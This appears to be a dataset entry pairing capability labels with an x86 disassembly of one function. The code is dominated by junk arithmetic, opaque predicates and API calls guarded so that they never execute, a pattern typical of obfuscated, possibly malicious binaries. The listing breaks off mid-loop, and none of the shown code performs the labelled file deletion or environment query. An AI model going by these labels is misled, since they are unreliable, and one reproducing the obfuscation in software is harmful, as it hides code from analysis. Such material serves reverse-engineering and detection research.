Function at 0x44561a
Capabilities:
Delete file
Hide graphical window
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cfc
call fcn.00477070
push esi
push edi
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x8b0], 0
mov dword [ebp - 0x1c5c], 1
mov dword [ebp - 0x154], 0
jmp 0x445660
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x44567c
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x158], 0xfffffffe
jmp 0x445653
mov dword [ebp - 0x154], 0
jmp 0x445695
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x4456b1
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x1c54], 0xcf22a1ef
jmp 0x445688
mov dword [ebp - 0x94], 0
jmp 0x4456ca
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x4456e6
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x158], 0xca4f833f
jmp 0x4456bd
cmp dword [ebp - 0x94], 0x7d26
jne 0x4456fe
mov dword [ebp - 0xcf4], 1
jmp 0x445705
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xcf4], eax
je 0x44571f
mov dword [ebp - 0x1880], 1
jmp 0x445726
and dword [ebp - 0x1880], 0
cmp dword [ebp - 0x1880], 0xffffffff
jle 0x44573b
mov dword [ebp - 0x1888], 1
jmp 0x445742
and dword [ebp - 0x1888], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1888], eax
jge 0x44575c
mov dword [ebp - 0x1890], 1
jmp 0x445763
and dword [ebp - 0x1890], 0
cmp dword [ebp - 0x1890], 9
jl 0x445778
mov dword [ebp - 0x1898], 1
jmp 0x44577f
and dword [ebp - 0x1898], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1898]
sub ecx, dword [ebp + eax - 0x158]
imul eax, ecx, 0xe13c
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x158]
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 0
je 0x4457cd
mov dword [ebp - 0x1c84], 1
jmp 0x4457d4
and dword [ebp - 0x1c84], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x158], 1
je 0x4457f0
mov dword [ebp - 0x18a0], 1
jmp 0x4457f7
and dword [ebp - 0x18a0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp dword [ebp - 0x18a0], eax
jle 0x445818
mov dword [ebp - 0x18a8], 1
jmp 0x44581f
and dword [ebp - 0x18a8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp dword [ebp - 0x18a8], eax
jne 0x44583d
cmp dword [ebp - 0x8b0], 0
jne 0x44584f
cmp dword [ebp - 0x94], 0
jne 0x44584f
and dword [ebp - 0x18b0], 0
jmp 0x445859
mov dword [ebp - 0x18b0], 1
cmp dword [ebp - 0x18b0], 1
jg 0x44586e
mov dword [ebp - 0x1900], 1
jmp 0x445875
and dword [ebp - 0x1900], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp dword [ebp - 0x1900], eax
jge 0x445896
mov dword [ebp - 0x1908], 1
jmp 0x44589d
and dword [ebp - 0x1908], 0
cmp dword [ebp - 0x1908], 2
jne 0x4458b2
mov dword [ebp - 0x9c8], 1
jmp 0x4458b9
and dword [ebp - 0x9c8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9c8]
mov dword [ebp + eax - 0x1c54], ecx
imul eax, dword [ebp - 0x9c8], 0x708e
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x158]
jne 0x4458f8
push 5
pop eax
test eax, eax
je 0x4458f8
mov dword [ebp - 0x1910], 1
jmp 0x4458ff
and dword [ebp - 0x1910], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp dword [ebp - 0x1910], eax
jne 0x445920
mov dword [ebp - 0x1918], 1
jmp 0x445927
and dword [ebp - 0x1918], 0
mov eax, dword [ebp - 0x1918]
mov dword [ebp - 0x1c5c], eax
mov dword [ebp - 0x100], 0xfe0a8eac
mov dword [ebp - 0x818], 0xaa08ecb3
mov dword [ebp - 0x1f90], 0
mov dword [ebp - 0x1f8c], 0
mov dword [ebp - 0x1f88], 0
mov dword [ebp - 0x1f84], 0
mov dword [ebp - 0x8a4], 0
jmp 0x445988
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 1
jge 0x4459a4
mov eax, dword [ebp - 0x8a4]
mov dword [ebp + eax*4 - 0x8b8], 0x1fe77dd6
jmp 0x44597b
mov dword [ebp - 0x100], 0
jmp 0x4459bd
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffff9
jl 0x445a13
mov dword [ebp - 0x3f0], 0x1e948708
mov dword [ebp - 0x3f0], 0
jmp 0x4459e9
mov eax, dword [ebp - 0x3f0]
dec eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0
jl 0x445a11
mov dword [ebp - 0x1c64], 0xfffffffb
mov eax, dword [ebp - 0x3f0]
mov eax, dword [ebp + eax*4 - 0x8b8]
mov dword [ebp - 0x1c64], eax
jmp 0x4459dc
jmp 0x4459b0
mov dword [ebp - 0x100], 0
jmp 0x445a2c
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffff1
jge 0x445c59
mov dword [ebp - 0x9d0], 0xfffffff7
mov dword [ebp - 0x788], 0x1b4956e7
mov dword [ebp - 0x4d8], 0xffff
mov dword [ebp - 0x1960], 0xffffffff
mov dword [ebp - 0x1c7c], 1
mov dword [ebp - 0x4d0], 0
jmp 0x445a84
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 4
jge 0x445aa0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp + eax*4 - 0x29a0], 0xa1efe0c2
jmp 0x445a77
cmp dword [ebp - 0x9d0], 0
jne 0x445ac0
imul eax, dword [ebp - 0x100], 0x89fe
test eax, eax
jne 0x445ac0
and dword [ebp - 0x1920], 0
jmp 0x445aca
mov dword [ebp - 0x1920], 1
mov eax, dword [ebp - 0x9d0]
cmp eax, dword [ebp - 0x1920]
jl 0x445ae4
mov dword [ebp - 0x1928], 1
jmp 0x445aeb
and dword [ebp - 0x1928], 0
mov eax, dword [ebp - 0x1928]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x788]
cmp dword [ebp - 0x9d0], eax
jne 0x445b11
mov dword [ebp - 0x1950], 1
jmp 0x445b18
and dword [ebp - 0x1950], 0
imul eax, dword [ebp - 0x1950], 0x90e8
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x1958], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1958]
mov dword [ebp + eax - 0x1f90], ecx
cmp dword [ebp - 0x1958], 0
je 0x445c2f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8b8]
mov dword [ebp - 0x292c], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x788]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x8b8]
mov dword [ebp - 0x1960], eax
mov eax, dword [ebp - 0x1960]
cmp dword [ebp - 0x4d8], eax
jle 0x445ba5
mov dword [ebp - 0x1968], 1
jmp 0x445bac
and dword [ebp - 0x1968], 0
cmp dword [ebp - 0x1968], 0x39b8842b
je 0x445bc4
mov dword [ebp - 0x980], 1
jmp 0x445bcb
and dword [ebp - 0x980], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x980]
mov dword [ebp + eax - 0x29a0], ecx
mov eax, dword [ebp - 0x818]
add eax, dword [ebp - 0x980]
cmp eax, 0x9d073d4c
ja 0x445bfc
mov dword [ebp - 0x1c6c], 1
jmp 0x445c03
and dword [ebp - 0x1c6c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f90]
mov dword [ebp - 0x231c], eax
mov eax, dword [ebp - 0x4d8]
cmp dword [ebp - 0x4d8], eax
jl 0x445c2f
mov dword [ebp - 0x1c74], 1
jmp 0x445c36
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x2324], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x29a0]
mov dword [ebp - 0x1c7c], eax
jmp 0x445a1f
mov dword [ebp - 0x328], 1
mov dword [ebp - 0x328], 0
jmp 0x445c7c
mov eax, dword [ebp - 0x328]
dec eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0xfffffff0
jle 0x445cce
mov dword [ebp - 0x4e0], 0
jmp 0x445c9e
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 2
jge 0x445cba
mov eax, dword [ebp - 0x4e0]
mov dword [ebp + eax*4 - 0x2410], 0x2a43
jmp 0x445c91
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2410], 0
je 0x445ccc
jmp 0x445cce
jmp 0x445c6f
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x1e30], 4
mov dword [ebp - 0x1e2c], 4
mov dword [ebp - 0x1e28], 4
mov dword [ebp - 0x1e24], 4
mov dword [ebp - 0x232c], 0xe9e84363
mov dword [ebp - 0x2334], 0x2858905b
mov dword [ebp - 0x790], 0
jmp 0x445d2f
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 2
jge 0x445d4b
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0x2a50], 0xfffffffe
jmp 0x445d22
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1e30], 1
jmp 0x445d79
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e30]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1e30], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e30], 0
jl 0x445dc0
mov dword [ebp - 0x1a04], 9
mov dword [ebp - 0x1a04], 1
mov byte [ebp - 0x313], 0
movzx eax, byte [ebp - 0x313]
test eax, eax
je 0x445dbe
push 0
push 0
push 0x2404
call dword [sym.imp.ADVAPI32.dll_CopySid]
jmp 0x445d5e
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0x988], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x4e8], 0x2abf7c2f
mov dword [ebp - 0x1c8c], 0xffffffff
mov dword [ebp - 0x188], 0
jmp 0x445e0b
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 4
jge 0x445e27
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0xa98], 0x9cfe0482
jmp 0x445dfe
mov dword [ebp - 0x188], 0
jmp 0x445e40
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x445e5c
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x330], 0xffffffff
jmp 0x445e33
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa98]
mov dword [ebp - 0x233c], eax
cmp dword [ebp - 0x25c], 0
je 0x445e8d
cmp dword [ebp - 0x25c], 0
je 0x445e8d
mov dword [ebp - 0x1970], 1
jmp 0x445e94
and dword [ebp - 0x1970], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x1970], eax
je 0x445eae
mov dword [ebp - 0x1878], 1
jmp 0x445eb5
and dword [ebp - 0x1878], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa98]
cmp dword [ebp - 0x1878], eax
jg 0x445ed6
mov dword [ebp - 0xad4], 1
jmp 0x445edd
and dword [ebp - 0xad4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xad4]
sub ecx, dword [ebp + eax - 0xa98]
mov dword [ebp - 0x25c], ecx
jne 0x445f08
push 8
pop eax
test eax, eax
jne 0x445f08
and dword [ebp - 0xad8], 0
jmp 0x445f12
mov dword [ebp - 0xad8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa98]
add eax, dword [ebp - 0xad8]
imul eax, eax, 0xec99
imul eax, eax, 0xa9d9
test eax, eax
je 0x445f46
xor eax, eax
inc eax
je 0x445f46
mov dword [ebp - 0x1220], 1
jmp 0x445f4d
and dword [ebp - 0x1220], 0
cmp dword [ebp - 0x1220], 0x927213ec
jne 0x445f6b
mov eax, 0x2d5f
test eax, eax
jne 0x445f6b
and dword [ebp - 0xae0], 0
jmp 0x445f75
mov dword [ebp - 0xae0], 1
mov eax, dword [ebp - 0xae0]
mov dword [ebp - 0x4e8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa98]
cmp eax, dword [ebp - 0x4e8]
jle 0x445fa2
mov dword [ebp - 0x15f0], 1
jmp 0x445fa9
and dword [ebp - 0x15f0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x15f0]
sub ecx, dword [ebp + eax - 0xa98]
cmp ecx, 0xffffffff
jne 0x445fcd
mov dword [ebp - 0xae8], 1
jmp 0x445fd4
and dword [ebp - 0xae8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa98]
cmp dword [ebp - 0xae8], eax
jle 0x445ff4
mov dword [ebp - 0x1228], 1
jmp 0x445ffb
and dword [ebp - 0x1228], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xa98]
add ecx, dword [ebp - 0x1228]
cmp dword [ebp + eax - 0xa98], ecx
jg 0x446028
mov dword [ebp - 0xaf0], 1
jmp 0x44602f
and dword [ebp - 0xaf0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa98]
cmp dword [ebp - 0xaf0], eax
je 0x446060
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xa98], 0
je 0x446060
mov dword [ebp - 0x15d8], 1
jmp 0x446067
and dword [ebp - 0x15d8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x15d8]
mov dword [ebp + eax - 0x330], ecx
mov dword [ebp - 0x4e8], 0xe2cd
mov eax, dword [ebp - 0x4e8]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x330], eax
jge 0x4460a7
mov dword [ebp - 0xb08], 1
jmp 0x4460ae
and dword [ebp - 0xb08], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1c8c]
cmp dword [ebp + eax - 0xa98], ecx
jne 0x4460cf
mov dword [ebp - 0xaf8], 1
jmp 0x4460d6
and dword [ebp - 0xaf8], 0
cmp dword [ebp - 0xaf8], 0x2be7
jle 0x4460ee
mov dword [ebp - 0x1230], 1
jmp 0x4460f5
and dword [ebp - 0x1230], 0
cmp dword [ebp - 0x1230], 0xe7ba
je 0x44610d
mov dword [ebp - 0x1c94], 1
jmp 0x446114
and dword [ebp - 0x1c94], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
mov dword [ebp - 0x2344], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa98]
mov dword [ebp - 0x234c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x330], 0
jne 0x44615c
cmp dword [ebp - 0x25c], 0
jne 0x44615c
and dword [ebp - 0xb00], 0
jmp 0x446166
mov dword [ebp - 0xb00], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
mov ecx, dword [ebp - 0xb00]
lea eax, [eax + ecx + 4]
cmp eax, 0xffffffff
jne 0x44618e
mov dword [ebp - 0x186c], 1
jmp 0x446195
and dword [ebp - 0x186c], 0
mov eax, dword [ebp - 0x186c]
neg eax
cmp dword [ebp - 0xb08], eax
jle 0x4461b1
mov dword [ebp - 0x1238], 1
jmp 0x4461b8
and dword [ebp - 0x1238], 0
cmp dword [ebp - 0x1238], 0x3aa9
jg 0x4461d0
mov dword [ebp - 0x8c0], 1
jmp 0x4461d7
and dword [ebp - 0x8c0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8c0]
mov dword [ebp + eax - 0x330], ecx
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x1d28], 1
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x1ca4], 1
mov dword [ebp - 0x1794], 1
mov dword [ebp - 0x108], 0
jmp 0x446234
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 4
jge 0x446250
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x1fa8], 4
jmp 0x446227
mov dword [ebp - 0x108], 0
jmp 0x446269
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 2
jge 0x446285
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x2b50], 0xe857
jmp 0x44625c
mov dword [ebp - 0x48], 0
jmp 0x446295
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff7
je 0x4462b4
mov dword [ebp - 0xb10], 6
mov eax, dword [ebp - 0xb10]
inc eax
mov dword [ebp - 0xb10], eax
jmp 0x44628e
mov dword [ebp - 0x48], 3
jmp 0x4462c4
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x446419
mov dword [ebp - 0x1c9c], 0xffffffff
mov dword [ebp - 0x2354], 0xfffffffc
mov dword [ebp - 0x235c], 0xffffffff
mov dword [ebp - 0x2364], 0xf90350d8
mov dword [ebp - 0x236c], 0xb3847d22
mov dword [ebp - 0x2374], 0xf86f25db
mov dword [ebp - 0x237c], 7
mov dword [ebp - 0x2384], 0x80c6548a
mov dword [ebp - 0x238c], 0xfeae2151
mov dword [ebp - 0x860], 0
jmp 0x446341
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 3
jge 0x44635d
mov eax, dword [ebp - 0x860]
mov dword [ebp + eax*4 - 0x2c14], 0xaa5d732a
jmp 0x446334
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x1fa8], 0
je 0x4463d6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1fa8], 0xb68d
jle 0x446388
mov dword [ebp - 0x15dc], 1
jmp 0x44638f
and dword [ebp - 0x15dc], 0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x1fa8], ecx
je 0x4463aa
mov dword [ebp - 0xb18], 1
jmp 0x4463b1
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x15dc]
sub eax, dword [ebp - 0xb18]
mov dword [ebp - 0x1240], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1240]
mov dword [ebp + eax*4 - 0x1fa8], ecx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1c9c]
cmp dword [ebp + eax*4 - 0x1fa8], ecx
je 0x4463f4
mov dword [ebp - 0xb20], 1
jmp 0x4463fb
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0xb20]
mov dword [ebp - 0x1ca4], eax
mov eax, dword [ebp - 0x1794]
inc eax
mov dword [ebp - 0x1794], eax
jmp 0x4462bd
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x3b8], 0xfffffffc
mov dword [ebp - 0x4f0], 0
jmp 0x446446
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 3
jge 0x446462
mov eax, dword [ebp - 0x4f0]
mov dword [ebp + eax*4 - 0x2a00], 0x89b1ab44
jmp 0x446439
mov dword [ebp - 0x160], 0
jmp 0x44647b
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xffffffe3
jg 0x446595
mov dword [ebp - 0x1cac], 0xb03e3869
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 1
jae 0x4464b3
mov dword [ebp - 0xb28], 1
jmp 0x4464ba
and dword [ebp - 0xb28], 0
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0xb28]
jle 0x4464d4
mov dword [ebp - 0x1248], 1
jmp 0x4464db
and dword [ebp - 0x1248], 0
mov eax, dword [ebp - 0x160]
sub eax, dword [ebp - 0x1248]
cmp eax, dword [ebp - 0x1cac]
jg 0x4464fb
mov dword [ebp - 0xb30], 1
jmp 0x446502
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0xb30]
add ecx, 7
add eax, ecx
imul eax, dword [ebp - 0x160]
test eax, eax
je 0x446544
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a00], 0
je 0x446544
mov dword [ebp - 0x1cb4], 0x2ca9
mov dword [ebp - 0x1cb4], 1
jmp 0x446590
mov dword [ebp - 0x3b8], 0xffffffee
jmp 0x44655d
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0xfffffff2
jl 0x446590
mov byte [ebp - 0x24b], 0
movzx eax, byte [ebp - 0x24b]
test eax, eax
je 0x44658e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
jmp 0x446550
jmp 0x44646e
mov dword [ebp - 0xe8], 0
jmp 0x4465ae
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x4465ca
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x110], 0xfffffffe
jmp 0x4465a1
mov dword [ebp - 0xa0], 0x490c4d8e
mov dword [ebp - 0x1250], 6
mov dword [ebp - 0x798], 0
jmp 0x4465f7
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 2
jge 0x446613
mov eax, dword [ebp - 0x798]
mov dword [ebp + eax*4 - 0x9dc], 0x3df7
jmp 0x4465ea
mov dword [ebp - 0xa0], 1
jmp 0x44662c
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jl 0x4467f1
mov eax, dword [ebp - 0xa0]
cmp dword [ebp + eax*4 - 0x9dc], 0
je 0x44667d
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x9dc]
mov dword [ebp + ecx*4 - 0x9dc], eax
mov eax, dword [ebp - 0xa0]
cmp dword [ebp + eax*4 - 0x9dc], 0
je 0x446678
jmp 0x4467f1
jmp 0x4467ec
mov dword [ebp - 0xdc], 0x8144ad72
mov dword [ebp - 0x1cbc], 0xfffffff6
mov dword [ebp - 0xdc], 0
jmp 0x4466aa
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jg 0x4466f7
mov byte [ebp - 0x24d], 0
movzx eax, byte [ebp - 0x24d]
test eax, eax
je 0x4466d6
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov byte [ebp - 0x24f], 0
movzx eax, byte [ebp - 0x24f]
test eax, eax
je 0x4466f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
jmp 0x44669d
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x9dc]
cmp dword [ebp - 0xdc], eax
je 0x446718
mov dword [ebp - 0x15e4], 1
jmp 0x44671f
and dword [ebp - 0x15e4], 0
mov eax, dword [ebp - 0x15e4]
dec eax
mov ecx, dword [ebp - 0xa0]
imul eax, dword [ebp + ecx*4 - 0x9dc]
cmp dword [ebp - 0xdc], eax
jge 0x446748
mov dword [ebp - 0xb38], 1
jmp 0x44674f
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0xb38]
mov dword [ebp - 0x1250], eax
cmp dword [ebp - 0x1250], 0xf157
jg 0x446773
mov dword [ebp - 0xb40], 1
jmp 0x44677a
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x9dc]
cmp dword [ebp - 0xb40], eax
jne 0x44679b
mov dword [ebp - 0x18f0], 1
jmp 0x4467a2
and dword [ebp - 0x18f0], 0
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0x18f0]
test eax, eax
jne 0x4467c5
cmp dword [ebp - 0xdc], 0
jne 0x4467c5
and dword [ebp - 0xb48], 0
jmp 0x4467cf
mov dword [ebp - 0xb48], 1
mov eax, dword [ebp - 0xb48]
sub eax, 0xdd66408
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x1cbc], eax
jmp 0x44661f
mov dword [ebp - 0xe8], 0
jmp 0x44680a
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x446826
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x1d20], 0xcf22a1ef
jmp 0x4467fd
mov dword [ebp - 0x2394], 8
mov dword [ebp - 0x239c], 0x53d8da8e
mov dword [ebp - 0x23a4], 0xb4074dd
mov dword [ebp - 0x23ac], 0x66f5a9c4
mov dword [ebp - 0x23b4], 0x1c55
mov dword [ebp - 0x23bc], 1
mov dword [ebp - 0x1258], 0x8108531d
mov dword [ebp - 0x4f8], 0
jmp 0x446885
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
cmp dword [ebp - 0x4f8], 4
jge 0x4468a1
mov eax, dword [ebp - 0x4f8]
mov dword [ebp + eax*4 - 0x2c30], 0xaa6e6f7
jmp 0x446878
mov byte [ebp - 0x251], 0
movzx eax, byte [ebp - 0x251]
test eax, eax
je 0x4468c6
push 0
push 0
push 0x15b2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [ebp - 0x1258]
inc eax
mov dword [ebp - 0x1258], eax
mov dword [ebp - 0xc8], 0
jmp 0x4468ec
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x446a4a
mov dword [ebp - 0x500], 1
mov dword [ebp - 0x23c4], 0x5e00fe1c
mov dword [ebp - 0x23cc], 0x9ec4279c
mov dword [ebp - 0x23d4], 0
mov dword [ebp - 0x23dc], 0x73e7ed6f
mov dword [ebp - 0x23e4], 0xe6e2bfbd
mov dword [ebp - 0x23ec], 0x8cf5a8
mov dword [ebp - 0x23f4], 1
mov dword [ebp - 0x820], 0
jmp 0x446962
mov eax, dword [ebp - 0x820]
inc eax
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 4
jge 0x44697e
mov eax, dword [ebp - 0x820]
mov dword [ebp + eax*4 - 0x2ca0], 0xfdbd0176
jmp 0x446955
mov dword [ebp - 0x500], 0xfffffffa
jmp 0x446997
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 4
jge 0x446a02
mov dword [ebp - 0x23fc], 0xffffffff
mov dword [ebp - 0x2404], 0x8067e307
mov dword [ebp - 0xb50], 0xe9ab
mov dword [ebp - 0x7a0], 0
jmp 0x4469d7
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 2
jge 0x4469f3
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x2a58], 1
jmp 0x4469ca
mov eax, dword [ebp - 0xb50]
dec eax
mov dword [ebp - 0xb50], eax
jmp 0x44698a
mov byte [ebp - 0x253], 0
movzx eax, byte [ebp - 0x253]
test eax, eax
je 0x446a34
push 0
push 0x1fc0
push 0xc4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x110], 0xca4f833f
jmp 0x4468df
mov dword [ebp - 0x1ec], 0x6de713a4
mov dword [ebp - 0xb70], 0
mov dword [ebp - 0x26c8], 0xfffffff9
mov dword [ebp - 0x508], 0
jmp 0x446a81
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0x508], eax
